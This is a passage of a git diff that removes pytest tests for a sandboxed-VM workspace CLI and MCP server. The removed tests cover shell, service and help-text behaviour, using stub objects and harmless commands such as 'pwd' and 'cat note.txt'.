_extract_structured( - await server.call_tool("workspace_status", {"workspace_id": "workspace-123"}) - ) - summary = _extract_structured( - await server.call_tool("workspace_summary", {"workspace_id": "workspace-123"}) - ) - logs = _extract_structured( - await server.call_tool("workspace_logs", {"workspace_id": "workspace-123"}) - ) - opened = _extract_structured( - await server.call_tool( - "shell_open", - { - "workspace_id": "workspace-123", - "cwd": "/workspace/src", - "cols": 100, - "rows": 20, - "secret_env": {"TOKEN": "API_TOKEN"}, - }, - ) - ) - read = _extract_structured( - await server.call_tool( - "shell_read", - { - "workspace_id": "workspace-123", - "shell_id": "shell-1", - "cursor": 5, - "max_chars": 1024, - "plain": True, - "wait_for_idle_ms": 300, - }, - ) - ) - wrote = _extract_structured( - await server.call_tool( - "shell_write", - { - "workspace_id": "workspace-123", - "shell_id": "shell-1", - "input": "pwd", - "append_newline": False, - }, - ) - ) - signaled = _extract_structured( - await server.call_tool( - "shell_signal", - { - "workspace_id": "workspace-123", - "shell_id": "shell-1", - "signal_name": "TERM", - }, - ) - ) - closed = _extract_structured( - await server.call_tool( - "shell_close", - {"workspace_id": "workspace-123", "shell_id": "shell-1"}, - ) - ) - file_service = _extract_structured( - await server.call_tool( - "service_start", - { - "workspace_id": "workspace-123", - "service_name": "file", - "command": "run-file", - "ready_file": ".ready", - }, - ) - ) - tcp_service = _extract_structured( - await server.call_tool( - "service_start", - { - "workspace_id": "workspace-123", - "service_name": "tcp", - "command": "run-tcp", - "ready_tcp": "127.0.0.1:8080", - }, - ) - ) - http_service = _extract_structured( - await server.call_tool( - "service_start", - { - "workspace_id": "workspace-123", - "service_name": "http", - "command": "run-http", - "ready_http": "http://127.0.0.1:8080/", - }, - ) - ) - command_service = _extract_structured( - await server.call_tool( - "service_start", - { - "workspace_id": "workspace-123", - "service_name": "command", - "command": "run-command", - "ready_command": "test -f .ready", - }, - ) - ) - return ( - status, - summary, - logs, - opened, - read, - wrote, - signaled, - closed, - file_service, - tcp_service, - http_service, - command_service, - ) - - results = asyncio.run(_run()) - assert results[0]["state"] == "started" - assert results[1]["workspace_id"] == "workspace-123" - assert results[2]["count"] == 0 - assert results[3]["shell_id"] == "shell-1" - assert results[7]["closed"] is True - assert results[8]["state"] == "running" - assert results[11]["state"] == "running" - assert calls == [ - ("status_workspace", {"workspace_id": "workspace-123"}), - ("summarize_workspace", {"workspace_id": "workspace-123"}), - ("logs_workspace", {"workspace_id": "workspace-123"}), - ( - "open_shell", - { - "workspace_id": "workspace-123", - "cwd": "/workspace/src", - "cols": 100, - "rows": 20, - "secret_env": {"TOKEN": "API_TOKEN"}, - }, - ), - ( - "read_shell", - { - "workspace_id": "workspace-123", - "shell_id": "shell-1", - "cursor": 5, - "max_chars": 1024, - "plain": True, - "wait_for_idle_ms": 300, - }, - ), - ( - "write_shell", - { - "workspace_id": "workspace-123", - "shell_id": "shell-1", - "input_text": "pwd", - "append_newline": False, - }, - ), - ( - "signal_shell", - { - "workspace_id": "workspace-123", - "shell_id": "shell-1", - "signal_name": "TERM", - }, - ), - ("close_shell", {"workspace_id": "workspace-123", "shell_id": "shell-1"}), - ( - "start_service", - { - "workspace_id": "workspace-123", - "service_name": "file", - "command": "run-file", - "cwd": "/workspace", - "readiness": {"type": "file", "path": ".ready"}, - "ready_timeout_seconds": 30, - "ready_interval_ms": 500, - "secret_env": None, - "published_ports": None, - }, - ), - ( - "start_service", - { - "workspace_id": "workspace-123", - "service_name": "tcp", - "command": "run-tcp", - "cwd": "/workspace", - "readiness": {"type": "tcp", "address": "127.0.0.1:8080"}, - "ready_timeout_seconds": 30, - "ready_interval_ms": 500, - "secret_env": None, - "published_ports": None, - }, - ), - ( - "start_service", - { - "workspace_id": "workspace-123", - "service_name": "http", - "command": "run-http", - "cwd": "/workspace", - "readiness": {"type": "http", "url": "http://127.0.0.1:8080/"}, - "ready_timeout_seconds": 30, - "ready_interval_ms": 500, - "secret_env": None, - "published_ports": None, - }, - ), - ( - "start_service", - { - "workspace_id": "workspace-123", - "service_name": "command", - "command": "run-command", - "cwd": "/workspace", - "readiness": {"type": "command", "command": "test -f .ready"}, - "ready_timeout_seconds": 30, - "ready_interval_ms": 500, - "secret_env": None, - "published_ports": None, - }, - ), - ] diff --git a/tests/test_cli.py b/tests/test_cli.py index ecb6e74..a2a9b10 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -2,450 +2,11 @@ from __future__ import annotations import argparse import json -import sys -from pathlib import Path -from typing import Any, cast +from typing import Any import pytest import pyro_mcp.cli as cli -from pyro_mcp.host_helpers import HostDoctorEntry - - -def _subparser_choice(parser: argparse.ArgumentParser, name: str) -> argparse.ArgumentParser: - subparsers = getattr(parser, "_subparsers", None) - if subparsers is None: - raise AssertionError("parser does not define subparsers") - group_actions = cast(list[Any], subparsers._group_actions) # noqa: SLF001 - if not group_actions: - raise AssertionError("parser subparsers are empty") - choices = cast(dict[str, argparse.ArgumentParser], group_actions[0].choices) - return choices[name] - - -def test_cli_help_guides_first_run() -> None: - parser = cli._build_parser() - help_text = parser.format_help() - - assert "Suggested zero-to-hero path:" in help_text - assert "pyro doctor" in help_text - assert "pyro prepare debian:12" in help_text - assert "pyro run debian:12 -- git --version" in help_text - assert "pyro host connect claude-code" in help_text - assert "Connect a chat host after that:" in help_text - assert "pyro host connect claude-code" in help_text - assert "pyro host connect codex" in help_text - assert "pyro host print-config opencode" in help_text - assert "Daily local loop after the first warmup:" in help_text - assert "pyro doctor --environment debian:12" in help_text - assert "pyro workspace reset WORKSPACE_ID" in help_text - assert "If you want terminal-level visibility into the workspace model:" in help_text - assert "pyro workspace exec WORKSPACE_ID -- cat note.txt" in help_text - assert "pyro workspace summary WORKSPACE_ID" in help_text - assert "pyro workspace snapshot create WORKSPACE_ID checkpoint" in help_text - assert "pyro workspace reset WORKSPACE_ID --snapshot checkpoint" in help_text - assert "pyro workspace sync push WORKSPACE_ID ./changes" in help_text - - -def test_cli_subcommand_help_includes_examples_and_guidance() -> None: - parser = cli._build_parser() - - run_help = _subparser_choice(parser, "run").format_help() - assert "pyro run debian:12 -- git --version" in run_help - assert "Opt into host-side compatibility execution" in run_help - assert "Enable outbound guest networking" in run_help - assert "may appear in either order" in run_help - assert "Use --json for a deterministic" in run_help - - env_help = _subparser_choice(_subparser_choice(parser, "env"), "pull").format_help() - assert "Environment name from `pyro env list`" in env_help - assert "pyro env pull debian:12" in env_help - assert "downloads from public Docker Hub" in env_help - - prepare_help = _subparser_choice(parser, "prepare").format_help() - assert "Warm the recommended guest-backed daily loop" in prepare_help - assert "pyro prepare debian:12 --network" in prepare_help - assert "--network" in prepare_help - assert "--force" in prepare_help - - host_help = _subparser_choice(parser, "host").format_help() - assert "Connect or repair the supported Claude Code, Codex, and OpenCode" in host_help - assert "pyro host connect claude-code" in host_help - assert "pyro host repair opencode" in host_help - - host_connect_help = _subparser_choice( - _subparser_choice(parser, "host"), "connect" - ).format_help() - assert "--installed-package" in host_connect_help - assert "--project-path" in host_connect_help - assert "--repo-url" in host_connect_help - assert "--repo-ref" in host_connect_help - assert "--no-project-source" in host_connect_help - - host_print_config_help = _subparser_choice( - _subparser_choice(parser, "host"), "print-config" - ).format_help() - assert "--output" in host_print_config_help - - host_doctor_help = _subparser_choice(_subparser_choice(parser, "host"), "doctor").format_help() - assert "--config-path" in host_doctor_help - - host_repair_help = _subparser_choice(_subparser_choice(parser, "host"), "repair").format_help() - assert "--config-path" in host_repair_help - - doctor_help = _subparser_choice(parser, "doctor").format_help() - assert "Check host prerequisites and embedded runtime health" in doctor_help - assert "--environment" in doctor_help - assert "pyro doctor --environment debian:12" in doctor_help - assert "pyro doctor --json" in doctor_help - - demo_help = _subparser_choice(parser, "demo").format_help() - assert "pyro demo ollama --verbose" in demo_help - - mcp_help = _subparser_choice(_subparser_choice(parser, "mcp"), "serve").format_help() - assert "Expose pyro tools over stdio for an MCP client." in mcp_help - assert "--profile" in mcp_help - assert "workspace-core" in mcp_help - assert "workspace-full" in mcp_help - assert "vm-run" in mcp_help - assert "recommended first profile for most chat hosts" in mcp_help - assert "workspace-core: default for normal persistent chat editing" in mcp_help - assert "workspace-full: larger opt-in surface" in mcp_help - assert "--project-path" in mcp_help - assert "--repo-url" in mcp_help - assert "--repo-ref" in mcp_help - assert "--no-project-source" in mcp_help - assert "pyro mcp serve --project-path ." in mcp_help - assert "pyro mcp serve --repo-url https://github.com/example/project.git" in mcp_help - - workspace_help = _subparser_choice(parser, "workspace").format_help() - assert "Use the workspace model when you need one sandbox to stay alive" in workspace_help - assert "pyro workspace create debian:12 --seed-path ./repo" in workspace_help - assert "--id-only" in workspace_help - assert "pyro workspace create debian:12 --name repro-fix --label issue=123" in workspace_help - assert "pyro workspace list" in workspace_help - assert ( - "pyro workspace update WORKSPACE_ID --name retry-run --label owner=codex" in workspace_help - ) - assert "pyro workspace sync push WORKSPACE_ID ./repo --dest src" in workspace_help - assert "pyro workspace exec WORKSPACE_ID" in workspace_help - assert "pyro workspace diff WORKSPACE_ID" in workspace_help - assert "pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt" in workspace_help - assert "pyro workspace stop WORKSPACE_ID" in workspace_help - assert "pyro workspace disk list WORKSPACE_ID" in workspace_help - assert "pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4" in workspace_help - assert "pyro workspace start WORKSPACE_ID" in workspace_help - assert "pyro workspace snapshot create WORKSPACE_ID checkpoint" in workspace_help - assert "pyro workspace reset WORKSPACE_ID --snapshot checkpoint" in workspace_help - assert "pyro workspace summary WORKSPACE_ID" in workspace_help - assert "pyro workspace shell open WORKSPACE_ID --id-only" in workspace_help - - workspace_create_help = _subparser_choice( - _subparser_choice(parser, "workspace"), - "create", - ).format_help() - assert "--id-only" in workspace_create_help - assert "--name" in workspace_create_help - assert "--label" in workspace_create_help - assert "--seed-path" in workspace_create_help - assert "--secret" in workspace_create_help - assert "--secret-file" in workspace_create_help - assert "seed into `/workspace`" in workspace_create_help - - workspace_exec_help = _subparser_choice( - _subparser_choice(parser, "workspace"), - "exec", - ).format_help() - assert "--secret-env" in workspace_exec_help - assert "persistent `/workspace`" in workspace_exec_help - assert "pyro workspace exec WORKSPACE_ID -- cat note.txt" in workspace_exec_help - - workspace_sync_help = _subparser_choice( - _subparser_choice(parser, "workspace"), - "sync", - ).format_help() - assert "Sync is non-atomic." in workspace_sync_help - assert "pyro workspace sync push WORKSPACE_ID ./repo" in workspace_sync_help - - workspace_sync_push_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "sync"), "push" - ).format_help() - assert "--dest" in workspace_sync_push_help - assert "Import host content into `/workspace`" in workspace_sync_push_help - - workspace_export_help = _subparser_choice( - _subparser_choice(parser, "workspace"), "export" - ).format_help() - assert "--output" in workspace_export_help - assert "Export one file or directory from `/workspace`" in workspace_export_help - - workspace_list_help = _subparser_choice( - _subparser_choice(parser, "workspace"), "list" - ).format_help() - assert "List persisted workspaces" in workspace_list_help - - workspace_update_help = _subparser_choice( - _subparser_choice(parser, "workspace"), "update" - ).format_help() - assert "--name" in workspace_update_help - assert "--clear-name" in workspace_update_help - assert "--label" in workspace_update_help - assert "--clear-label" in workspace_update_help - - workspace_summary_help = _subparser_choice( - _subparser_choice(parser, "workspace"), "summary" - ).format_help() - assert "Summarize the current workspace session since the last reset" in workspace_summary_help - assert "pyro workspace summary WORKSPACE_ID" in workspace_summary_help - - workspace_file_help = _subparser_choice( - _subparser_choice(parser, "workspace"), "file" - ).format_help() - assert "model-native tree inspection and text edits" in workspace_file_help - assert "pyro workspace file read WORKSPACE_ID src/app.py" in workspace_file_help - - workspace_file_list_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "list" - ).format_help() - assert "--recursive" in workspace_file_list_help - - workspace_file_read_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "read" - ).format_help() - assert "--max-bytes" in workspace_file_read_help - assert "--content-only" in workspace_file_read_help - - workspace_file_write_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "write" - ).format_help() - assert "--text" in workspace_file_write_help - assert "--text-file" in workspace_file_write_help - - workspace_patch_help = _subparser_choice( - _subparser_choice(parser, "workspace"), "patch" - ).format_help() - assert "Apply add/modify/delete unified text patches" in workspace_patch_help - - workspace_patch_apply_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "patch"), "apply" - ).format_help() - assert "--patch" in workspace_patch_apply_help - assert "--patch-file" in workspace_patch_apply_help - - workspace_stop_help = _subparser_choice( - _subparser_choice(parser, "workspace"), "stop" - ).format_help() - assert "Stop the backing sandbox" in workspace_stop_help - - workspace_start_help = _subparser_choice( - _subparser_choice(parser, "workspace"), "start" - ).format_help() - assert "previously stopped workspace" in workspace_start_help - - workspace_disk_help = _subparser_choice( - _subparser_choice(parser, "workspace"), "disk" - ).format_help() - assert "secondary stopped-workspace disk tools" in workspace_disk_help - assert "pyro workspace disk read WORKSPACE_ID note.txt" in workspace_disk_help - - workspace_disk_export_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "export" - ).format_help() - assert "--output" in workspace_disk_export_help - - workspace_disk_list_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "list" - ).format_help() - assert "--recursive" in workspace_disk_list_help - - workspace_disk_read_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "read" - ).format_help() - assert "--max-bytes" in workspace_disk_read_help - assert "--content-only" in workspace_disk_read_help - - workspace_diff_help = _subparser_choice( - _subparser_choice(parser, "workspace"), "diff" - ).format_help() - assert "immutable workspace baseline" in workspace_diff_help - assert "workspace export" in workspace_diff_help - - workspace_snapshot_help = _subparser_choice( - _subparser_choice(parser, "workspace"), - "snapshot", - ).format_help() - assert "pyro workspace snapshot create WORKSPACE_ID checkpoint" in workspace_snapshot_help - assert "baseline" in workspace_snapshot_help - - workspace_snapshot_create_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), "create" - ).format_help() - assert "Capture the current `/workspace` tree" in workspace_snapshot_create_help - - workspace_snapshot_list_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), "list" - ).format_help() - assert "baseline snapshot plus any named snapshots" in workspace_snapshot_list_help - - workspace_snapshot_delete_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), "delete" - ).format_help() - assert "leaving the implicit baseline intact" in workspace_snapshot_delete_help - - workspace_reset_help = _subparser_choice( - _subparser_choice(parser, "workspace"), "reset" - ).format_help() - assert "--snapshot" in workspace_reset_help - assert "reset over repair" in workspace_reset_help - - workspace_shell_help = _subparser_choice( - _subparser_choice(parser, "workspace"), - "shell", - ).format_help() - assert "pyro workspace shell open WORKSPACE_ID --id-only" in workspace_shell_help - assert "Use `workspace exec` for one-shot commands." in workspace_shell_help - - workspace_service_help = _subparser_choice( - _subparser_choice(parser, "workspace"), - "service", - ).format_help() - assert "pyro workspace service start WORKSPACE_ID app" in workspace_service_help - assert "Use `--ready-file` by default" in workspace_service_help - - workspace_service_start_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "start" - ).format_help() - assert "--ready-file" in workspace_service_start_help - assert "--ready-tcp" in workspace_service_start_help - assert "--ready-http" in workspace_service_start_help - assert "--ready-command" in workspace_service_start_help - assert "--secret-env" in workspace_service_start_help - - workspace_service_logs_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "logs" - ).format_help() - assert "--tail-lines" in workspace_service_logs_help - assert "--all" in workspace_service_logs_help - - workspace_shell_open_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "open" - ).format_help() - assert "--id-only" in workspace_shell_open_help - assert "--cwd" in workspace_shell_open_help - assert "--cols" in workspace_shell_open_help - assert "--rows" in workspace_shell_open_help - assert "--secret-env" in workspace_shell_open_help - - workspace_shell_read_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "read" - ).format_help() - assert "Shell output is written to stdout." in workspace_shell_read_help - assert "--plain" in workspace_shell_read_help - assert "--wait-for-idle-ms" in workspace_shell_read_help - - workspace_shell_write_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "write" - ).format_help() - assert "--input" in workspace_shell_write_help - assert "--no-newline" in workspace_shell_write_help - - workspace_shell_signal_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "signal" - ).format_help() - assert "--signal" in workspace_shell_signal_help - - workspace_shell_close_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "close" - ).format_help() - assert "Close a persistent workspace shell" in workspace_shell_close_help - - -def test_cli_host_connect_dispatch( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - pass - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="host", - host_command="connect", - host="codex", - installed_package=False, - profile="workspace-core", - project_path=None, - repo_url=None, - repo_ref=None, - no_project_source=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - monkeypatch.setattr( - cli, - "connect_cli_host", - lambda host, *, config: { - "host": host, - "server_command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"], - "verification_command": ["codex", "mcp", "list"], - }, - ) - - cli.main() - captured = capsys.readouterr() - assert captured.out == ( - "Connected pyro to codex.\n" - "Server command: uvx --from pyro-mcp pyro mcp serve\n" - "Verify with: codex mcp list\n" - ) - assert captured.err == "" - - -def test_cli_host_doctor_prints_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - pass - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="host", - host_command="doctor", - installed_package=False, - profile="workspace-core", - project_path=None, - repo_url=None, - repo_ref=None, - no_project_source=False, - config_path=None, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - monkeypatch.setattr( - cli, - "doctor_hosts", - lambda **_: [ - HostDoctorEntry( - host="codex", - installed=True, - configured=False, - status="missing", - details="codex entry missing", - repair_command="pyro host repair codex", - ) - ], - ) - - cli.main() - captured = capsys.readouterr() - assert "codex: missing installed=yes configured=no" in captured.out - assert "repair: pyro host repair codex" in captured.out - assert captured.err == "" def test_cli_run_prints_json( @@ -468,8 +29,6 @@ def test_cli_run_prints_json( timeout_seconds=30, ttl_seconds=600, network=True, - allow_host_compat=False, - json=True, command_args=["--", "echo", "hi"], ) @@ -485,22 +44,13 @@ def test_cli_doctor_prints_json( ) -> None: class StubParser: def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="doctor", - platform="linux-x86_64", - environment="debian:12", - json=True, - ) + return argparse.Namespace(command="doctor", platform="linux-x86_64") monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) monkeypatch.setattr( cli, "doctor_report", - lambda *, platform, environment: { - "platform": platform, - "environment": environment, - "runtime_ok": True, - }, + lambda platform: {"platform": platform, "runtime_ok": True}, ) cli.main() output = json.loads(capsys.readouterr().out) @@ -543,7 +93,7 @@ def test_cli_env_list_prints_json( class StubParser: def parse_args(self) -> argparse.Namespace: - return argparse.Namespace(command="env", env_command="list", json=True) + return argparse.Namespace(command="env", env_command="list") monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) monkeypatch.setattr(cli, "Pyro", StubPyro) @@ -552,4396 +102,6 @@ def test_cli_env_list_prints_json( assert output["environments"][0]["name"] == "debian:12" -def test_cli_run_prints_human_output( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def create_vm(self, **kwargs: Any) -> dict[str, Any]: - assert kwargs["vcpu_count"] == 1 - assert kwargs["mem_mib"] == 1024 - return {"vm_id": "vm-123"} - - def start_vm(self, vm_id: str) -> dict[str, Any]: - assert vm_id == "vm-123" - return {"vm_id": vm_id, "state": "started"} - - def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int) -> dict[str, Any]: - assert vm_id == "vm-123" - assert command == "echo hi" - assert timeout_seconds == 30 - return { - "environment": "debian:12", - "execution_mode": "guest_vsock", - "exit_code": 0, - "duration_ms": 12, - "stdout": "hi\n", - "stderr": "", - } - - @property - def manager(self) -> Any: - raise AssertionError("manager cleanup should not be used on a successful run") - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="run", - environment="debian:12", - vcpu_count=1, - mem_mib=1024, - timeout_seconds=30, - ttl_seconds=600, - network=False, - allow_host_compat=False, - json=False, - command_args=["--", "echo", "hi"], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - - cli.main() - - captured = capsys.readouterr() - assert captured.out == "hi\n" - assert "[run] phase=create environment=debian:12" in captured.err - assert "[run] phase=start vm_id=vm-123" in captured.err - assert "[run] phase=execute vm_id=vm-123" in captured.err - assert "[run] environment=debian:12 execution_mode=guest_vsock exit_code=0" in captured.err - - -def test_cli_run_exits_with_command_status( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def create_vm(self, **kwargs: Any) -> dict[str, Any]: - del kwargs - return {"vm_id": "vm-456"} - - def start_vm(self, vm_id: str) -> dict[str, Any]: - assert vm_id == "vm-456" - return {"vm_id": vm_id, "state": "started"} - - def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int) -> dict[str, Any]: - assert vm_id == "vm-456" - assert command == "false" - assert timeout_seconds == 30 - return { - "environment": "debian:12", - "execution_mode": "guest_vsock", - "exit_code": 7, - "duration_ms": 5, - "stdout": "", - "stderr": "bad\n", - } - - @property - def manager(self) -> Any: - raise AssertionError("manager cleanup should not be used when exec_vm returns normally") - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="run", - environment="debian:12", - vcpu_count=1, - mem_mib=1024, - timeout_seconds=30, - ttl_seconds=600, - network=False, - allow_host_compat=False, - json=False, - command_args=["--", "false"], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - - with pytest.raises(SystemExit, match="7"): - cli.main() - - captured = capsys.readouterr() - assert "bad\n" in captured.err - - -def test_cli_env_pull_prints_human_progress( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def pull_environment(self, environment: str) -> dict[str, Any]: - assert environment == "debian:12" - return { - "name": "debian:12", - "version": "1.0.0", - "distribution": "debian", - "distribution_version": "12", - "installed": True, - "cache_dir": "/tmp/cache", - "default_packages": ["bash", "git"], - "install_dir": "/tmp/cache/linux-x86_64/debian_12-1.0.0", - "install_manifest": "/tmp/cache/linux-x86_64/debian_12-1.0.0/environment.json", - "kernel_image": "/tmp/cache/linux-x86_64/debian_12-1.0.0/vmlinux", - "rootfs_image": "/tmp/cache/linux-x86_64/debian_12-1.0.0/rootfs.ext4", - "oci_registry": "registry-1.docker.io", - "oci_repository": "thalesmaciel/pyro-environment-debian-12", - "oci_reference": "1.0.0", - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="env", - env_command="pull", - environment="debian:12", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - - cli.main() - - captured = capsys.readouterr() - assert "[pull] phase=install environment=debian:12" in captured.err - assert "[pull] phase=ready environment=debian:12" in captured.err - assert "Pulled: debian:12" in captured.out - - def test_cli_requires_run_command() -> None: with pytest.raises(ValueError, match="command is required"): cli._require_command([]) - - -def test_cli_requires_command_preserves_shell_argument_boundaries() -> None: - command = cli._require_command( - ["--", "sh", "-lc", 'printf "hello from workspace\\n" > note.txt'] - ) - assert command == "sh -lc 'printf \"hello from workspace\\n\" > note.txt'" - - -def test_cli_read_utf8_text_file_rejects_non_utf8(tmp_path: Path) -> None: - source_path = tmp_path / "bad.txt" - source_path.write_bytes(b"\xff\xfe") - - with pytest.raises(ValueError, match="must contain UTF-8 text"): - cli._read_utf8_text_file(str(source_path), option_name="--text-file") - - -def test_cli_read_utf8_text_file_rejects_empty_path() -> None: - with pytest.raises(ValueError, match="must not be empty"): - cli._read_utf8_text_file("", option_name="--patch-file") - - -def test_cli_shortcut_flags_are_mutually_exclusive() -> None: - parser = cli._build_parser() - - with pytest.raises(SystemExit): - parser.parse_args( - [ - "workspace", - "create", - "debian:12", - "--json", - "--id-only", - ] - ) - - with pytest.raises(SystemExit): - parser.parse_args( - [ - "workspace", - "shell", - "open", - "workspace-123", - "--json", - "--id-only", - ] - ) - - with pytest.raises(SystemExit): - parser.parse_args( - [ - "workspace", - "file", - "write", - "workspace-123", - "src/app.py", - "--text", - "hello", - "--text-file", - "./app.py", - ] - ) - - with pytest.raises(SystemExit): - parser.parse_args( - [ - "workspace", - "patch", - "apply", - "workspace-123", - "--patch", - "--- a/app.py\n+++ b/app.py\n", - "--patch-file", - "./fix.patch", - ] - ) - - with pytest.raises(SystemExit): - parser.parse_args( - [ - "workspace", - "file", - "read", - "workspace-123", - "note.txt", - "--json", - "--content-only", - ] - ) - - with pytest.raises(SystemExit): - parser.parse_args( - [ - "workspace", - "disk", - "read", - "workspace-123", - "note.txt", - "--json", - "--content-only", - ] - ) - - -def test_cli_workspace_create_prints_json( - monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] -) -> None: - class StubPyro: - def create_workspace(self, **kwargs: Any) -> dict[str, Any]: - assert kwargs["environment"] == "debian:12" - assert kwargs["seed_path"] == "./repo" - assert kwargs["network_policy"] == "egress" - assert kwargs["name"] == "repro-fix" - assert kwargs["labels"] == {"issue": "123"} - return {"workspace_id": "workspace-123", "state": "started"} - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="create", - environment="debian:12", - vcpu_count=1, - mem_mib=1024, - ttl_seconds=600, - network_policy="egress", - allow_host_compat=False, - seed_path="./repo", - name="repro-fix", - label=["issue=123"], - secret=[], - secret_file=[], - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = json.loads(capsys.readouterr().out) - assert output["workspace_id"] == "workspace-123" - - -def test_cli_workspace_create_prints_id_only( - monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] -) -> None: - class StubPyro: - def create_workspace(self, **kwargs: Any) -> dict[str, Any]: - assert kwargs["environment"] == "debian:12" - return {"workspace_id": "workspace-123", "state": "started"} - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="create", - environment="debian:12", - vcpu_count=1, - mem_mib=1024, - ttl_seconds=600, - network_policy="off", - allow_host_compat=False, - seed_path=None, - name=None, - label=[], - secret=[], - secret_file=[], - json=False, - id_only=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - captured = capsys.readouterr() - assert captured.out == "workspace-123\n" - assert captured.err == "" - - -def test_cli_workspace_create_prints_human( - monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] -) -> None: - class StubPyro: - def create_workspace(self, **kwargs: Any) -> dict[str, Any]: - del kwargs - return { - "workspace_id": "workspace-123", - "name": "repro-fix", - "labels": {"issue": "123"}, - "environment": "debian:12", - "state": "started", - "network_policy": "off", - "workspace_path": "/workspace", - "last_activity_at": 123.0, - "workspace_seed": { - "mode": "directory", - "seed_path": "/tmp/repo", - "destination": "/workspace", - "entry_count": 1, - "bytes_written": 6, - }, - "execution_mode": "guest_vsock", - "vcpu_count": 1, - "mem_mib": 1024, - "command_count": 0, - "last_command": None, - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="create", - environment="debian:12", - vcpu_count=1, - mem_mib=1024, - ttl_seconds=600, - network_policy="off", - allow_host_compat=False, - seed_path="/tmp/repo", - name="repro-fix", - label=["issue=123"], - secret=[], - secret_file=[], - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = capsys.readouterr().out - assert "Workspace ID: workspace-123" in output - assert "Name: repro-fix" in output - assert "Labels: issue=123" in output - assert "Workspace: /workspace" in output - assert "Workspace seed: directory from /tmp/repo" in output - - -def test_cli_workspace_exec_prints_human_output( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def exec_workspace( - self, - workspace_id: str, - *, - command: str, - timeout_seconds: int, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert command == "cat note.txt" - assert timeout_seconds == 30 - assert secret_env is None - return { - "workspace_id": workspace_id, - "sequence": 2, - "cwd": "/workspace", - "execution_mode": "guest_vsock", - "exit_code": 0, - "duration_ms": 4, - "stdout": "hello\n", - "stderr": "", - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="exec", - workspace_id="workspace-123", - timeout_seconds=30, - secret_env=[], - json=False, - command_args=["--", "cat", "note.txt"], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - captured = capsys.readouterr() - assert captured.out == "hello\n" - assert 